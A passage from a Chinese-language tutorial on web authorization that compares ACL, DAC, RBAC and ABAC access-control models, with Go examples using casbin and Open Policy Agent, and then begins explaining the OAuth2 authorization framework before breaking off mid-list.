Drive、Dropbox或百度网盘等。在这样的应用中，用户可以上传、存储和共享文件。并使用DAC模型，设置文件或文件夹的访问权限，例如私有、只读或读写访问。用户还可以选择将文件或文件夹的访问权限限制为特定的用户或用户组。\n另一种使用DAC模型进行访问控制的Web应用示例是社交媒体应用，这类应用允许用户发布和查看帖子，并给每个帖子分配权限以控制其他用户对其的访问权限，权限可以是“公开”、“好友”、“私人”等，\n下面是一个DAC模型的演示性质的代码例子：\n// authz-examples/dac/main.go type Resource struct { Name string Owner string AccessMap map[string]bool } func (r *Resource) GrantAccess(user string) { r.AccessMap[user] = true } func (r *Resource) RevokeAccess(user string) { r.AccessMap[user] = false } func (r *Resource) CanAccess(user string) bool { access, exists := r.AccessMap[user] if !exists { return false } return access } func main() { // 创建一个资源 resource := Resource{ Name: \u0026quot;example.txt\u0026quot;, Owner: \u0026quot;alice\u0026quot;, AccessMap: make(map[string]bool), } // 授予访问权限给用户 resource.GrantAccess(\u0026quot;alice\u0026quot;) resource.GrantAccess(\u0026quot;bob\u0026quot;) // 验证访问权限 fmt.Println(\u0026quot;alice can access:\u0026quot;, resource.CanAccess(\u0026quot;alice\u0026quot;)) // 输出: true fmt.Println(\u0026quot;bob can access:\u0026quot;, resource.CanAccess(\u0026quot;bob\u0026quot;)) // 输出: true fmt.Println(\u0026quot;eve can access:\u0026quot;, resource.CanAccess(\u0026quot;eve\u0026quot;)) // 输出: false // 撤销访问权限 resource.RevokeAccess(\u0026quot;bob\u0026quot;) // 验证访问权限 fmt.Println(\u0026quot;bob can access:\u0026quot;, resource.CanAccess(\u0026quot;bob\u0026quot;)) // 输出: false } 在这个示例中，我们定义了一个Resource结构，包含资源的名称、所有者和访问权限的map。用户可以调用GrantAccess方法授予其他用户对资源的访问权限，RevokeAccess方法则用于撤销用户的访问权限，CanAccess方法用于验证用户是否具有访问资源的权限。通过这个示例，我们也可以看到，MAC模型可以基于一个ACL(比如AccessMap)来实现。\nDAC模型那些固有的特点带来的也并不都是好处，也可能给应用带来一定的安全性挑战。比如：由于访问权限由资源的所有者授予，因此可能存在资源所有者授予不当权限的情况。如果资源所有者错误地授予了高权限给不信任的用户或实体，可能会导致安全漏洞。\n此外，由于每个资源的所有者可以独立决定访问权限，因此可能会导致系统中存在许多不一致的访问控制策略。这可能增加了管理和维护的复杂性，并且可能导致访问控制规则的碰撞或冲突。\n2.4 基于角色的访问控制(Role-Based Access Control，RBAC） 按访问控制模型的出现时间看，ACL是一个60后，MAC是一个70后，DAC是一个80后。那90后的代表是哪个模型呢？没错，就是RBAC。\nRBAC是访问控制模型中的一种相对较新的模型，它基于角色和权限的概念来管理对资源的访问。在RBAC模型中，访问权限是根据用户的角色进行授权和控制的。\nRBAC模型的核心概念包括：\n角色（Role） 角色代表一组具有相似职责或权限需求的用户，每个角色可以被分配不同的权限，或者说权限是以角色为最小单位分配的。\n权限（Permission） 权限代表对资源执行特定操作的授权。权限定义了以特定角色进入系统的用户在系统中可以对某些类资源执行的操作，例如读取、写入、删除等。\n用户（User） 用户是系统中的实体，通过分配角色来获得相应的权限。\n下图是一个RBAC模型中用户、角色、权限与资源之间的直观的关系示意图(使用mermaid绘制)：\n这个图比较好理解！首先看权限，权限是一个规则，即允许哪个/哪些角色操作哪个/那些资源。以权限P1为例，它允许角色X操作资源R1和资源R2；权限P2则是允许角色Y和角色Z操作资源R2；权限P3则是允许角色Z操作资源R3。用户则会被赋予角色，并继承角色具有的所有权限。\n通过上面图示和说明，我们看到：RBAC模型通过将权限分配给角色，而不是直接分配给用户，简化了权限管理，因为只需管理角色的权限，而无需单独管理每个用户的权限。\n同时，这种方法也保持了一定的灵活性：通过分配和撤销角色，可以轻松地管理用户的访问权限。当用户的职责或权限需求发生变化时，只需调整其角色分配即可。\n在安全性方面，RBAC模型可以减少人为错误和误操作的风险。通过严格控制角色的权限，可以确保用户只能执行他们所需的操作，从而减少潜在的安全漏洞。\n基于上述特点，RBAC模型被广泛应用于企业环境中，并满足企业或组织内部的权限管理需求，是当今企业级Web应用的主流访问控制模型。\n此外，像Github的Personal Access Token(PAT)以及其他互联网Web应用的类似PAT的权限配置也是基于RBAC模型的。使用PAT时，用户可以创建令牌并为其分配特定的范围和权限，这时令牌既是user，也充当了角色(Role)。这些权限可以控制PAT可以访问和执行的操作，例如读取仓库、创建存储库、管理问题等。用户可以根据自己的需求创建多个PAT(Role)，并根据需要撤销或更新它们。下面是github PAT创建和配置的示意图：\n不过，RBAC模型虽然是主流模型，但也存在一些问题，比如：\n静态角色分配 RBAC模型中，角色和权限的分配是静态的，需要预先定义和分配角色。这种固定的角色分配方式难以适应动态变化的访问控制需求。例如，当用户的职责发生变化或需要临时获得额外权限时，RBAC模型需要进行角色重新分配或角色继承的操作，导致管理复杂性增加。\n角色爆炸问题 在大型组织或系统中，RBAC模型可能涉及大量的角色，以覆盖各种职责和权限。这可能导致角色爆炸问题，即角色数量过多，不易管理和维护。角色之间的关系和权限的粒度也可能变得复杂，增加了配置和管理的复杂性。\n缺乏细粒度访问控制 RBAC模型的主要限制之一是对访问控制的粒度较粗。RBAC模型通常基于角色来控制访问权限，而忽略了更细粒度的访问控制需求，如基于资源属性、环境上下文等进行访问控制。\n缺乏动态性和灵活性 RBAC模型的角色和权限分配是静态的，难以适应动态变化的访问控制需求。RBAC模型无法根据实时上下文信息或动态的用户属性来进行访问控制决策，导致难以满足复杂的访问控制策略。\n这些问题也促成了00后的新模型ABAC的出现，下面我们就来看看ABAC模型。\n2.5 基于属性的访问控制（Attribute-Based Access Control，ABAC) ABAC，有时也被称为policy-based access control (PBAC)或claims-based access control (CBAC)，是一种基于属性（Attribute）来决定对资源的访问权限的访问控制模型。与“90后”的RBAC模型相比，ABAC模型提供了更细粒度、动态和灵活的访问控制能力。\nABAC模型的核心概念包括如下几个：\n属性（Attribute） 属性是关于用户、资源、环境或其他上下文信息的特征。属性可以是任意对象，一般有这么几类。访问主体(用户)属性，可以是访问者自带的属性，比如年龄，性别，部门，角色等；动作类属性：比如读取，删除，查看等；被访问对象的属性，比如一条记录的修改时间，创建者等；环境类属性：比如时间信息，地理位置信息，访问平台信息等。属性还可以根据需要进行自定义和扩展。\n策略（Policy） 策略定义了访问控制规则和条件，用于评估访问请求的属性和上下文信息，并决定是否允许或拒绝访问。策略可以包括属性匹配、逻辑操作、时间条件等。\n属性策略引擎（Policy Decision Point, PDP） 属性策略引擎是ABAC模型的核心组件，负责评估访问请求的属性和条件，并根据属性和预定义的策略进行逻辑计算，以做出是否允许访问的控制决策。\n下面是一个使用ABAC模型在组织内控制对某个文件资源的访问的例子的示意图：\n在这个示例中，用户属性包括用户角色（Role）、用户部门（Department）、用户年龄(Age)；资源属性有文件类型（FileType）、文件所属部门（FileDepartment）。\n属性策略引擎(PDP)通过PIP(策略信息点)获取相关属性，并基于策略做出决策。下面是一些策略示例：\n策略1：仅允许具有\u0026quot;管理员\u0026quot;角色的用户访问任意类型的文件。 策略2：仅允许具有\u0026quot;员工\u0026quot;角色的用户访问属于自己部门的任意类型的文件。 策略3：允许具有\u0026quot;访客\u0026quot;角色的用户访问公共类型的文件。 策略4：允许60岁以上用户访问特定类型的文件。 策略5：不允许访问属于其他部门的文件。 图中的PEP(策略执行点)负责接收用户发起的访问请求，并将请求传递给PDP进行决策，确保访问控制策略得到严格执行，以保护资源的安全性和完整性。用户可以是人员、应用程序或其他实体。之后，PEP负责根据访问控制策略的决策结果来执行实际的访问控制。当PDP（Policy Decision Point，属性策略引擎）确定用户是否被授权访问资源后，PEP将根据决策结果来允许或拒绝对资源的访问。PEP还可以记录和监控访问请求和决策结果，用于后续的审计和安全分析。通过记录访问活动，PEP可以提供有关谁、何时以及如何访问资源的详细信息。\nABAC是较新的访问控制模型，相较于它的前辈RBAC来说，它的能力更强大，控制粒度更精细，授权决策动态且灵活，但也更加复杂，需要定义和管理大量的属性和策略。这可能增加了实施和维护的困难。另外，ABAC模型的属性策略引擎需要对访问请求进行属性匹配和逻辑计算，这可能对系统性能产生一定的影响，在引入ABAC模型时，这也是一个需要考虑的因素。\n尽管ABAC模型存在一些挑战和复杂性，但它提供了更高级、动态和灵活的访问控制能力让它可以更好地满足复杂的访问控制需求和安全策略，这使得ABAC模型在许多组织和行业中得到广泛应用，包括企业、政府、云计算、物联网等。同时，有许多标准化组织和机构致力于制定ABAC的标准和规范，例如NIST（美国国家标准与技术研究院）的NGAC和OASIS的XACML（eXtensible Access Control Markup Language），这些标准化努力有助于推动ABAC的统一实施和互操作性。\n随着技术的不断进步，ABAC模型也在不断演进和改进。例如，引入了机器学习和人工智能技术来提高决策过程的自动化和智能化。\n到这里，我们已经学习了从ACL到ABAC的5种主要访问控制模型，包括它们的发展历史、应用场景、优缺点等，这给我们提供了对不同访问控制模型的全面了解和比较。如今RBAC和ABAC是大家广泛应用的主流模型，接下来，我们就以一个示例来进一步加深这两个模型的理解。我将构建一个简单的公司员工信息管理系统，并在此系统中分别实现基于RBAC和ABAC的访问控制机制，以便通过对比不同实现来直观感受两种模型的区别。\n3. 一个Web应用的授权实例 下面我们用一个Web应用的授权实例来进一步理解RBAC和ABAC两个广泛使用的访问控制模型。这是一个公司员工信息管理系统授权访问控制的示例，我们先用casbin以RBAC模型实现该示例，之后使用Open Policy Agent以ABAC模型再实现一遍该示例。\n3.1 示例简介 好的，现在给你描述一下这个示例对授权的具体要求。\n这是一个公司的员工信息管理系统，系统中定义了几种角色(role)：经理(manager)、员工(employee)、HR和财务(finance)。这些角色可以直接用于RBAC模型中的角色，在ABAC中，它也可以作为主体(subject)的角色属性使用。系统要保护的资源有两个表：员工信息表(employee_info)和员工工资表(employee_salary)，并定义了如下访问控制要求：\n经理：可以查看和修改所有员工的信息 员工：可以查看和修改自己的信息 HR：可以查看和修改所有员工的信息，可以查看和修改所有员工的工资信息 财务：可以查看所有员工的工资信息 这个公司有如下几位不同角色的员工：\n经理：alice 员工：bob HR：cathy 财务：dan 接下来我们就先来基于RBAC实现该系统的访问控制。\n3.2 基于RBAC模型的访问控制 根据前面的介绍，RBAC模型是基于角色的访问控制，因此针对上面示例描述，我们需要先定义角色以及为角色分配权限。\ncasbin使用policy.csv定义角色的权限：\n// authz-examples/rbac/casbin/policy.csv p, manager, employee_info, read p, manager, employee_info, write p, employee, employee_info, write p, employee, employee_info, read p, hr, employee_info, read p, hr, employee_info, write p, hr, employee_salary, write p, hr, employee_salary, read p, finance, employee_salary, read 初看这个文件中的配置数据，很多人不知道是什么意思，这个csv文件中每行的字段含义都要与model.conf对照着看：\n// authz-examples/rbac/casbin/model.conf [request_definition] r = role, obj, act [policy_definition] p = role, obj, act [role_definition] g = _, _ [policy_effect] e = some(where (p.eft == allow)) [matchers] m = g(r.role, p.role) \u0026amp;\u0026amp; r.obj == p.obj \u0026amp;\u0026amp; r.act == p.act 我们看下这个配置文件中的section: policy_definition，我们看到其定义为p = role, obj, act，这里的p就是规则定义，根据这一规则定义，我们可以确定csv中p开头的行中的各段数据的含义，比如：根据“p, manager, employee_info, read”，我们可以得到role=manager，obj=employee_info，act=read，我们用下图再直观总结一下这种对应关系：\nrequest_definition这个section中定义了请求传入时参数的次序(“r = role, obj, act”)，其要求Go代码中调用casbin.Enforcer.Enforce方法时各个参数的传入次序与之相同(比如: Enforce(“manager”, “employee_info”, “read”))，并指示了传入的参数对应的含义。\nmatchers这个section中定义了匹配规则，先不看g(r.role, p.role)，“r.obj == p.obj \u0026amp;\u0026amp; r.act == p.act”这个很好理解，即当请求(request)中的obj与策略规则(policy)中的obj匹配，且请求中的act与策略规则中的act(动作)匹配时，才认为通过访问控制的校验。\n我们结合Go代码来看一下casbin对RABC的实现和使用方法：\n// authz-examples/rbac/casbin/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;github.com/casbin/casbin/v2\u0026quot; ) func main() { users := map[string]string{ \u0026quot;alice\u0026quot;: \u0026quot;manager\u0026quot;, \u0026quot;bob\u0026quot;: \u0026quot;employee\u0026quot;, \u0026quot;cathy\u0026quot;: \u0026quot;hr\u0026quot;, \u0026quot;dan\u0026quot;: \u0026quot;finance\u0026quot;, } e, err := casbin.NewEnforcer(\u0026quot;model.conf\u0026quot;, \u0026quot;policy.csv\u0026quot;) if err != nil { panic(err) } // 经理alice访问员工信息 ok, err := e.Enforce(users[\u0026quot;alice\u0026quot;], \u0026quot;employee_info\u0026quot;, \u0026quot;read\u0026quot;) // role, obj, act if err != nil { panic(err) } fmt.Println(\u0026quot;manager alice can read employee_info:\u0026quot;, ok) ok, err = e.Enforce(users[\u0026quot;alice\u0026quot;], \u0026quot;employee_info\u0026quot;, \u0026quot;write\u0026quot;) if err != nil { panic(err) } fmt.Println(\u0026quot;manager alice can write employee_info:\u0026quot;, ok) // 员工bob访问自己信息 ok, err = e.Enforce(users[\u0026quot;bob\u0026quot;], \u0026quot;employee_info\u0026quot;, \u0026quot;write\u0026quot;) fmt.Println(\u0026quot;employee bob can write employee_info:\u0026quot;, ok) // HR cathy 访问员工信息 ok, err = e.Enforce(users[\u0026quot;cathy\u0026quot;], \u0026quot;employee_info\u0026quot;, \u0026quot;write\u0026quot;) fmt.Println(\u0026quot;hr cathy can write employee_info:\u0026quot;, ok) ok, err = e.Enforce(users[\u0026quot;cathy\u0026quot;], \u0026quot;employee_salary\u0026quot;, \u0026quot;write\u0026quot;) fmt.Println(\u0026quot;hr cathy can write employee_salary:\u0026quot;, ok) // 财务dan访问工资信息 ok, err = e.Enforce(users[\u0026quot;dan\u0026quot;], \u0026quot;employee_salary\u0026quot;, \u0026quot;read\u0026quot;) fmt.Println(\u0026quot;finance dan can read employee_salary:\u0026quot;, ok) // 员工bob串改薪水信息 ok, err = e.Enforce(users[\u0026quot;bob\u0026quot;], \u0026quot;employee_salary\u0026quot;, \u0026quot;write\u0026quot;) fmt.Println(\u0026quot;employee bob can write employee_salary:\u0026quot;, ok) } 这里只是企业内部信息系统的简化实现，正常情况下，员工使用自己的账号登录到系统后，系统就会获知该用户的角色(role)，这里我们用了一个map来存储用户名与角色的映射关系。\n我们基于model.conf和policy.csv创建新的Enforcer，然后调用其Enforce方法并按“role, obj, act”次序传入我们要测试的信息。Enforce返回true表示通过了访问控制规则的验证，否则就是没有通过授权验证。\n上述代码的输出结果如下：\n$go run main.go manager alice can read employee_info: true manager alice can write employee_info: true employee bob can write employee_info: true hr cathy can write employee_info: true hr cathy can write employee_salary: true finance dan can read employee_salary: true employee bob can write employee_salary: false 到这里，我们还有一个问题没有解决，那就是casbin的model.conf中role_definition的配置含义以及matchers中g(r.role, p.role)含义。\ncasbin关于RBAC的文档中明确提到了，如果不使用RBAC模型，那么role_definition就是一个可选的配置；如果要使用RBAC模型，那么role_definition下的每一行都是一个独立的RBAC系统，下面的配置拥有两个独立的RBAC系统：g和g2：\n[role_definition] g = _, _ g2 = _, _ “_, _”表示映射关系中有两方。通常我们只会使用到user和role的映射，因此只用一个RBAC系统即可，即只配置和使用g即可。下面是应用g这个RBAC系统的例子：\n// policy.csv p, manager, employee_info, write g, alice, manager 这里的“g, alice, manager”的含义是alice是角色manager中的一员，或alice这个user的角色是manager。当然alice这个位置上不仅可以使用user，也可以使用resource，甚至是role，casbin只是将其看成一个字符串而已。\n而matchers中的“g(r.role, p.role)”的含义就是请求(r)中的role在policy文件中能找到对应的role。如果Enforce函数传入的是”manager”，那么只有policy.csv中定义了”manager”这个角色，g(r.role, p.role)的结果才是true。\n上述示例并未在policy.csv中使用到这种user到role的映射(基于g这个RBAC系统)，下面我们改造一下示例，我们在policy.csv中保存这种user到role的映射，而不是在go代码中保存，新版policy.csv如下：\n// authz-examples/rbac/casbin_with_user_in_policy/policy.csv p, manager, employee_info, read p, manager, employee_info, write p, employee, employee_info, write p, employee, employee_info, read p, hr, employee_info, read p, hr, employee_info, write p, hr, employee_salary, write p, hr, employee_salary, read p, finance, employee_salary, read g, alice, manager g, bob, employee g, cathy, hr g, dan, finance 对应的Go代码改造如下：\n// authz-examples/rbac/casbin_with_user_in_policy/main.go func main() { e, err := casbin.NewEnforcer(\u0026quot;model.conf\u0026quot;, \u0026quot;policy.csv\u0026quot;) if err != nil { panic(err) } // 经理alice访问员工信息 ok, err := e.Enforce(\u0026quot;alice\u0026quot;, \u0026quot;employee_info\u0026quot;, \u0026quot;read\u0026quot;) // role, obj, act if err != nil { panic(err) } fmt.Println(\u0026quot;manager alice can read employee_info:\u0026quot;, ok) ok, err = e.Enforce(\u0026quot;alice\u0026quot;, \u0026quot;employee_info\u0026quot;, \u0026quot;write\u0026quot;) if err != nil { panic(err) } fmt.Println(\u0026quot;manager alice can write employee_info:\u0026quot;, ok) // 员工bob访问自己信息 ok, err = e.Enforce(\u0026quot;bob\u0026quot;, \u0026quot;employee_info\u0026quot;, \u0026quot;write\u0026quot;) fmt.Println(\u0026quot;employee bob can write employee_info:\u0026quot;, ok) // HR cathy 访问员工信息 ok, err = e.Enforce(\u0026quot;cathy\u0026quot;, \u0026quot;employee_info\u0026quot;, \u0026quot;write\u0026quot;) fmt.Println(\u0026quot;hr cathy can write employee_info:\u0026quot;, ok) ok, err = e.Enforce(\u0026quot;cathy\u0026quot;, \u0026quot;employee_salary\u0026quot;, \u0026quot;write\u0026quot;) fmt.Println(\u0026quot;hr cathy can write employee_salary:\u0026quot;, ok) // 财务dan访问工资信息 ok, err = e.Enforce(\u0026quot;dan\u0026quot;, \u0026quot;employee_salary\u0026quot;, \u0026quot;read\u0026quot;) fmt.Println(\u0026quot;finance dan can read employee_salary:\u0026quot;, ok) // 员工bob串改薪水信息 ok, err = e.Enforce(\u0026quot;bob\u0026quot;, \u0026quot;employee_salary\u0026quot;, \u0026quot;write\u0026quot;) fmt.Println(\u0026quot;employee bob can write employee_salary:\u0026quot;, ok) } 大家看到我们在调用Enforce时，第一个参数传入的不再是role，而是user名字，由于policy.csv中使用g保存了user到role的映射，因此Enforce会在内部将user先替换为映射的role，然后再在policy.csv中找到对应的p定义的role，查看是否满足matchers中“g(r.role, p.role)”规则。\n运行上面新示例的结果将于第一个示例一样，这里就不赘述了。\n接下来，我们再来看看如何基于ABAC模型实现该公司的员工信息系统的授权。\n注：casbin号称也支持ABAC模型，有兴趣的童鞋可以自行基于casbin实现基于ABAC模型的员工信息系统的授权示例。\n3.3 基于ABAC模型的访问控制 前面介绍ABAC模型时已经提到过，ABAC是基于属性的访问控制，由于我们这个示例比较简单，能用到的user主体属性只有user的角色(role)，这里就基于user的角色来实现访问控制，而作为客体的那两张表，考虑简单起见，这里并未为之定义什么属性。\nOPA（Open Policy Agent）是CNCF基金会下面的一个开源的通用策略引擎，它目前已经从CNCF毕业，也是CNCF目前毕业项目中唯一一个策略引擎。OPA可以用于实现统一的访问控制和策略管理。它提供了一个通用的框架，可用于编写和执行策略，以决定对资源的访问是否被允许。OPA使用一种名为Rego的声明性语言来定义策略。Rego语言简洁而强大，可以表达复杂的访问控制逻辑。它允许开发人员定义规则、条件和约束，以描述访问策略和决策过程。受益于CNCF的支持和资源，OPA获得了更广泛的知名度和认可度。它成为了云原生生态系统中重要的一部分，并与其他CNCF项目和工具进行紧密的集成，如Kubernetes、Envoy、Prometheus等。这种集成加强了整个生态系统的互操作性和一致性，为用户提供了更强大的功能和灵活性。\n使用opa实现员工信息系统的ABAC授权，我们需要先使用Rego语言定义出访问控制策略，下面是用Rego定义的员工信息系统的访问控制策略：\n// authz-examples/abac/opa/policy.rego package opa.examples import input as i # 定义策略 allow { i.subject.role == \u0026quot;manager\u0026quot; i.object == \u0026quot;employee_info\u0026quot; i.action == \u0026quot;read\u0026quot; } allow { i.subject.role == \u0026quot;manager\u0026quot; i.object == \u0026quot;employee_info\u0026quot; i.action == \u0026quot;write\u0026quot; } allow { i.subject.role == \u0026quot;employee\u0026quot; i.object == \u0026quot;employee_info\u0026quot; i.action == \u0026quot;read\u0026quot; } allow { i.subject.role == \u0026quot;employee\u0026quot; i.object == \u0026quot;employee_info\u0026quot; i.action == \u0026quot;write\u0026quot; } allow { i.subject.role == \u0026quot;hr\u0026quot; i.object == \u0026quot;employee_info\u0026quot; i.action == \u0026quot;read\u0026quot; } allow { i.subject.role == \u0026quot;hr\u0026quot; i.object == \u0026quot;employee_info\u0026quot; i.action == \u0026quot;write\u0026quot; } allow { i.subject.role == \u0026quot;finance\u0026quot; i.object == \u0026quot;employee_salary\u0026quot; i.action == \u0026quot;read\u0026quot; } 这个策略配置文件使用的语法借鉴了Go，不过即便你不了解Go语法，你很大概率也能读懂其逻辑，是不是感觉比前面的casbin的model.conf和policy.csv的组合配置更易理解一些呢！我们以一个allow代码块为例：\nallow { i.subject.role == \u0026quot;finance\u0026quot; i.object == \u0026quot;employee_salary\u0026quot; i.action == \u0026quot;read\u0026quot; } 这个配置块儿的含义就是当输出的请求中的主体的role为”finance”且客体(resouce)为”employee_salary”并且action为”read”时，允许请求访问。其他的section依此理解即可。\n下面我们再来看看基于opa实现上述ABAC模型的Go代码：\n// authz-examples/abac/opa/main.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;log\u0026quot; \u0026quot;github.com/open-policy-agent/opa/rego\u0026quot; ) func main() { // Construct a Rego object that can be prepared or evaluated. r := rego.New( rego.Query(\u0026quot;data.opa.examples.allow\u0026quot;), rego.Load([]string{\u0026quot;./policy.rego\u0026quot;}, nil), ) // Create a prepared query that can be evaluated. query, err := r.PrepareForEval(context.Background()) if err != nil { log.Fatal(err) } inputs := []map[string]interface{}{ { \u0026quot;name\u0026quot;: \u0026quot;alice\u0026quot;, \u0026quot;subject\u0026quot;: map[string]string{ \u0026quot;role\u0026quot;: \u0026quot;manager\u0026quot;, }, \u0026quot;object\u0026quot;: \u0026quot;employee_info\u0026quot;, \u0026quot;action\u0026quot;: \u0026quot;read\u0026quot;, }, { \u0026quot;name\u0026quot;: \u0026quot;alice\u0026quot;, \u0026quot;subject\u0026quot;: map[string]string{ \u0026quot;role\u0026quot;: \u0026quot;manager\u0026quot;, }, \u0026quot;object\u0026quot;: \u0026quot;employee_info\u0026quot;, \u0026quot;action\u0026quot;: \u0026quot;write\u0026quot;, }, { \u0026quot;name\u0026quot;: \u0026quot;bob\u0026quot;, \u0026quot;subject\u0026quot;: map[string]string{ \u0026quot;role\u0026quot;: \u0026quot;employee\u0026quot;, }, \u0026quot;object\u0026quot;: \u0026quot;employee_info\u0026quot;, \u0026quot;action\u0026quot;: \u0026quot;write\u0026quot;, }, { \u0026quot;name\u0026quot;: \u0026quot;cathy\u0026quot;, \u0026quot;subject\u0026quot;: map[string]string{ \u0026quot;role\u0026quot;: \u0026quot;hr\u0026quot;, }, \u0026quot;object\u0026quot;: \u0026quot;employee_info\u0026quot;, \u0026quot;action\u0026quot;: \u0026quot;read\u0026quot;, }, { \u0026quot;name\u0026quot;: \u0026quot;cathy\u0026quot;, \u0026quot;subject\u0026quot;: map[string]string{ \u0026quot;role\u0026quot;: \u0026quot;hr\u0026quot;, }, \u0026quot;object\u0026quot;: \u0026quot;employee_info\u0026quot;, \u0026quot;action\u0026quot;: \u0026quot;write\u0026quot;, }, { \u0026quot;name\u0026quot;: \u0026quot;dan\u0026quot;, \u0026quot;subject\u0026quot;: map[string]string{ \u0026quot;role\u0026quot;: \u0026quot;finance\u0026quot;, }, \u0026quot;object\u0026quot;: \u0026quot;employee_salary\u0026quot;, \u0026quot;action\u0026quot;: \u0026quot;read\u0026quot;, }, { \u0026quot;name\u0026quot;: \u0026quot;bob\u0026quot;, \u0026quot;subject\u0026quot;: map[string]string{ \u0026quot;role\u0026quot;: \u0026quot;employee\u0026quot;, }, \u0026quot;object\u0026quot;: \u0026quot;employee_salary\u0026quot;, \u0026quot;action\u0026quot;: \u0026quot;write\u0026quot;, }, } for _, v := range inputs { // Execute the prepared query. rs, err := query.Eval(context.Background(), rego.EvalInput(v)) if err != nil { log.Fatal(err) } if len(rs) \u0026gt; 0 { fmt.Printf(\u0026quot;%s %s can %s %s: %v\\n\u0026quot;, (v[\u0026quot;subject\u0026quot;].(map[string]string))[\u0026quot;role\u0026quot;], v[\u0026quot;name\u0026quot;], v[\u0026quot;action\u0026quot;], v[\u0026quot;object\u0026quot;], rs[0].Expressions[0].Value) } else { fmt.Printf(\u0026quot;%s %s can %s %s: %v\\n\u0026quot;, (v[\u0026quot;subject\u0026quot;].(map[string]string))[\u0026quot;role\u0026quot;], v[\u0026quot;name\u0026quot;], v[\u0026quot;action\u0026quot;], v[\u0026quot;object\u0026quot;], false) } } } 这个例子参考了opa官方的示例，我们先基于policy.rego构建一个rego策略引擎，然后按我们的测试逻辑构建一组input，我将input放入了一个map切片中，然后遍历该切片，对每个input执行Eval，通过Eval返回的结果判断input是否通过了引擎的校验。执行上述示例代码，我们将得到：\n$go run main.go manager alice can read employee_info: true manager alice can write employee_info: true employee bob can write employee_info: true hr cathy can read employee_info: true hr cathy can write employee_info: true finance dan can read employee_salary: true employee bob can write employee_salary: false 这个和casbin实现的结果是一致的。\n通过上面两种模型的实现，我们能达到相同的效果。不过，opa的rego语言的简洁清晰且不乏强大的表达能力还是让人印象深刻的，casbin的配置在理解上要下一番功夫，并且要用好casbin，还必须要深入理解其配置方法和配置项的含义。这两个工具大家可以根据自己的喜好选择最适合你自己的。\n以上无论是RBAC，还是ABAC，都是仅由本地单系统参与的授权模型。随着系统规模的扩大，我们可能需要考虑引入第三方授权系统。第三方授权具有方便实现单点登录、用户友好的授权流程、减少密码传播风险、细粒度的授权管理以及第三方应用程序集成等好处。这些好处可以提供更方便、安全和灵活的用户体验，并促进了应用程序之间的互操作性和集成性。\n接下来我们就来说说基于OAuth2的第三方授权。\n4. OAuth2授权框架 4.1 什么是第三方授权 在开始理解OAuth2授权框架之前，我们先来简单说说什么是第三方授权。为了更好的说明，我先画了一张示意图：\n结合这张图，我们理解以下第三方授权。第三方授权是指一个实体（第三方，比如图中的C应用），通过获得用户的授权，可以访问另一个实体（服务提供者，比如图中的S应用）的资源(比如用户A的一些个人信息)或执行特定操作。在这种授权模式下，用户授予第三方应用程序(C应用)或服务访问其受保护资源(位于S应用中的用户A的一些个人信息)的权限，而无需直接向第三方实体(比如C应用)共享其凭据（如用户名和密码）。\n第三方授权的典型示例是用户使用自己的社交媒体账号（如微信、Facebook、Google、Twitter等）登录第三方应用程序或网站：\n在这种情况下，用户不需要创建新的账号和密码，而是选择使用其社交媒体账号进行登录。当用户同意授权该应用程序访问其社交媒体账号时，第三方应用程序可以获取用户的基本信息（如姓名、电子邮件地址、头像等）或者在用户的名义下执行某些操作（如发布推文、分享内容等）。下面是使用github和微信对第三方应用进行授权的页面截图：\n第三方授权的优势在于用户可以方便地使用现有的身份验证凭据，而无需为每个应用程序创建和记住不同的账号和密码。同时，用户还可以更好地控制其数据的访问权限，选择性地授权应用程序可以访问的资源和操作。需要注意的是，第三方授权的安全性和隐私保护至关重要。用户应该仔细审查并理解第三方应用程序请求的权限范围，并只授权其信任的应用程序访问其敏感信息或执行敏感操作。服务提供者也应该采取适当的安全措施，确保用户的数据得到妥善保护。\n这样的第三方授权在移动互联网应用领域十分常见，如果没有一套标准的授权框架，这种授权方式将很难实现。OAuth正是为了解决这个问题而诞生的一个标准的授权框架。接下来，我们就进入OAuth协议框架。\n4.2 OAuth协议框架 OAuth协议(全称Open Authorization)的产生是为了解决无须共享密码的情况下，从第三方应用程序(比如前面图中的S应用)安全地访问受保护数据、资源的问题。OAuth是一种行业标准的授权框架，它在第三方应用授权中发挥重要作用。OAuth协议的最新版本为OAuth2.0，并已经被广泛用于各厂家的互联网应用中。在原理上，OAuth2允许用户授权第三方应用，访问该用户在某服务平台存储的资源，而无需共享用户名和密码。它通过“访问令牌(access token)”实现授权。\n注：从上述描述我们也能看出：所谓第三方授权其实是将身份认证与授权合为一体的一种机制，以授权为主要目的。因此OAuth被称为授权协议，而不是身份认证协议。\n在OAuth协议的核心规范中，对于OAuth的授权流程定义了不同的角色，通过不同角色之间不同概念的信息传递对象的交互，完成整个授权流程。这些角色包括：\n资源所有者（Resource Owner） 资源所有者是指受保护资源的所有者，当受保护资源被访问时，需要此所有者授予访问者访问权限。如果资源所有者是一个自然人时，即表示为最终用户(比如前面图中的用户A)。\n资源服务器（Resource Server） 资源服务器是指托管接受保护资源的服务器(比如前面图中的S应用)，接收访问请求并使用访问令牌保护受保护的资源。\n客户端（Client） 这里客户端通常是指代理用户发起受保护资源请求的客户端应用程序，比如前面图中的C应用。\n授权服务器（Authorization Server） 客户端通过认证后，授权服务器(比如前面图中的S应用)会向客户端发布访问令牌并获得授权。\n访问令牌是客户端应用程序访问受保护资源的凭据，没有访问令牌则无法访问受保护的资源。此令牌通常是授权服务器颁发的具有一定含义的字符串，包含此次授权的基本信息、授权范围、授权有效时间等信息。\n授权过程与我们前面的示意图十分相似，结合OAuth协议定义的不同角色，我们借鉴下面示意图再来描述一下基于OAuth2的整个授权流程：\n图来自《API安全技术与实战》一书\n步骤1：客户端应用程序向资源所有者发送授权请求，这里的客户端是指普通的WebAPI、原生移动App、基于浏览器的Web应用以及无浏览器的嵌入式后端应用，在流程中充当用户行为代理(比如前图中的C应用)。 步骤2：资源所有者(比如前图中的用户A)同意授权客户端访问资源，即获得资源所有者的授权凭据，包含授权范围和授权类型。 步骤3：客户端使用上一步获得的授权凭据，向授权服务器进行身份认证并申请访问令牌Access Token。 步骤4：授权服务器对客户端进行身份认证，确认身份无误后，下发访问令牌AccessToken。 步骤5：客户端使用上一步获得的访问令牌Access Token，向资源服务器申请获取受保护的资源。 步骤6：资源服务器确认访问令牌Access Token正确无误后，向客户端开放所访问的资源。 OAuth协议核心文档定义了资源所有者给予客户端授权的4种方式：\n授权码（authorization code） 这种方式下，第三方应用先申请一个授权码，然后再用该码获取令牌。\n隐藏式（implicit） 